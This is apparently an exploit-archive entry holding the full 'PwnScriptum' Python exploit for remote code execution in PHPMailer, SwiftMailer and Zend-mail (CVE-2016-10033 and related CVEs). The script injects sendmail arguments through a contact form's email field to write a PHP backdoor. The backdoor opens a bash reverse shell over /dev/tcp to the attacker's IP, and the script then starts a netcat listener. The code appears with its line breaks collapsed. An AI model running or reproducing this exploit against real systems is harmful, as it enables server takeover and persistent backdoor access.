PHPMailer / Zend-mail / SwiftMailer Remote Code Execution

2017.01.04
Credit: PwnScriptum
Risk: High
Local: No
Remote: Yes
CWE: N/A

#!/usr/bin/python intro = """\033[94m __ __ __ __ __ / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ /____/ PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit a.k.a "PwnScriptum" CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074 This PoC exploit aims to execute a reverse shell on the target in the context of the web-server user via vulnerable PHP email library. Discovered and Coded by: \033[1;34m Dawid Golunski https://legalhackers.com t: @dawid_golunski for updates \033[0m \033[94m P.$. For testing only! Don't break the Web ;) \033[0m """ info = """ [Version] Limited (ver. 1.0) [PoC Video] See the the exploit in action at: https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html [Info] This exploit targets a common webapp component - Contact Form. It combines payloads for the following vulns: 1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html 2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass) https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html 3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html 4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html [Usage] ./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT [-d TARGET_UP_DIR] -ip ATTACKERS_IP [-p ATTACKERS_PORT] [--version] [--post-action POST_ACTION] [--post-name POST_NAME] [--post-email POST_EMAIL] [--post-msg POST_MSG] Note, make sure the contact form matches the default field names (send/name/email/msg). Otherwise override with --post-msg=message_box for example. """ import os import argparse import time import urllib import urllib2 import socket import sys # The Main Meat print intro # Show info if '-H' in sys.argv: print info exit(0) # Parse input args parser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)') parser.add_argument('-H', action='store_true', default="false", required=False, help='Full Help / Info Page') parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True, help='WebApp Base Url') parser.add_argument('-cf', dest='CONTACT_SCRIPT', required=True, help='Contact Form scriptname') parser.add_argument('-d' , dest='TARGET_UP_DIR', required=False, help='Target Upload Dir') parser.add_argument('-ip', dest='ATTACKERS_IP', required=True, help='Attackers Public IP for RevShell') parser.add_argument('-p', dest='ATTACKERS_PORT', required=False, help='Attackers Port for RevShell listener') parser.add_argument('--version', action='version', version='%(prog)s 1.0 Limited edition') parser.add_argument('--post-action', dest='POST_ACTION', required=False, help='Overrides POST "action" field name', default="send") parser.add_argument('--post-name', dest='POST_NAME', required=False, help='Overrides POST "name of sender" field name', default="name") parser.add_argument('--post-email', dest='POST_EMAIL', required=False, help='Overrides POST "email" field name', default="email") parser.add_argument('--post-msg', dest='POST_MSG', required=False, help='Overrides POST "message" field name', default="msg") args = parser.parse_args() # Preset vars TMOUT = 3 # Set Vars if args.ATTACKERS_PORT is None: args.ATTACKERS_PORT = 8080 if args.TARGET_UP_DIR is None: args.TARGET_UP_DIR = "upload" # Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;) BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php' BACKDOOR_URL = args.WEBAPP_BASE_URL + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILE CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT # Show params print """[+] Setting vars to: \n WEBAPP_BASE_URL = [%s] CONTACT_SCRIPT = [%s] TARGET_UP_DIR = [%s] ATTACKERS_IP = [%s] ATTACKERS_PORT = [%s] CONTACT_SCRIPT_URL = [%s] BACKDOOR_FILEl = [%s] """ % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE) print "[+] Choose your target / payload: " print "\033[1;34m" print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n""" print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) The escapeshellarg() bypass :)\n""" print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n""" print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n""" print "\033[0m" try: target = int(raw_input('[?] Select target [1-2]: ')) except ValueError: print "Not a valid choice. Exiting\n" exit(2) if (target>4): print "No such target. Exiting\n" exit(3) if target == 1: # PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) if target == 2: # Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) payload = "\"attacker\\' -oQ/tmp/ -X%s/%s some\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE) if target == 3: # SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) if target == 4: # Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR # PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g: # e.g: #RCE_PHP_CODE = "<?php phpinfo(); ?>" RCE_PHP_CODE = """<?php sleep(%d); system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1' "); ?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT) # The form names might need to be adjusted post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE} # Attack # Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor print "[+] Backdoor upload via the contact form at '%s'\n" % CONTACT_SCRIPT_URL data = urllib.urlencode(post_fields) req = urllib2.Request(CONTACT_SCRIPT_URL, data) response = urllib2.urlopen(req) the_page = response.read() # Check if the backdoor was uploaded correctly. # A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine # So we catch the timeout to find out. # Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL got_timeout = 0 http_err = 0 try: urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1)) except urllib2.HTTPError as e: http_err = e.code except socket.timeout as e: print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n" got_timeout = 1 if (got_timeout != 1): print "[!] Something went wrong... Got error: [%d] \nTry another dir? Push through, don't give up! :)\n" % http_err exit(2) # Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n" print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n" os.system("nc -v -l -p %d" % args.ATTACKERS_PORT) print "\n[+] Shell closed\n" print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n"


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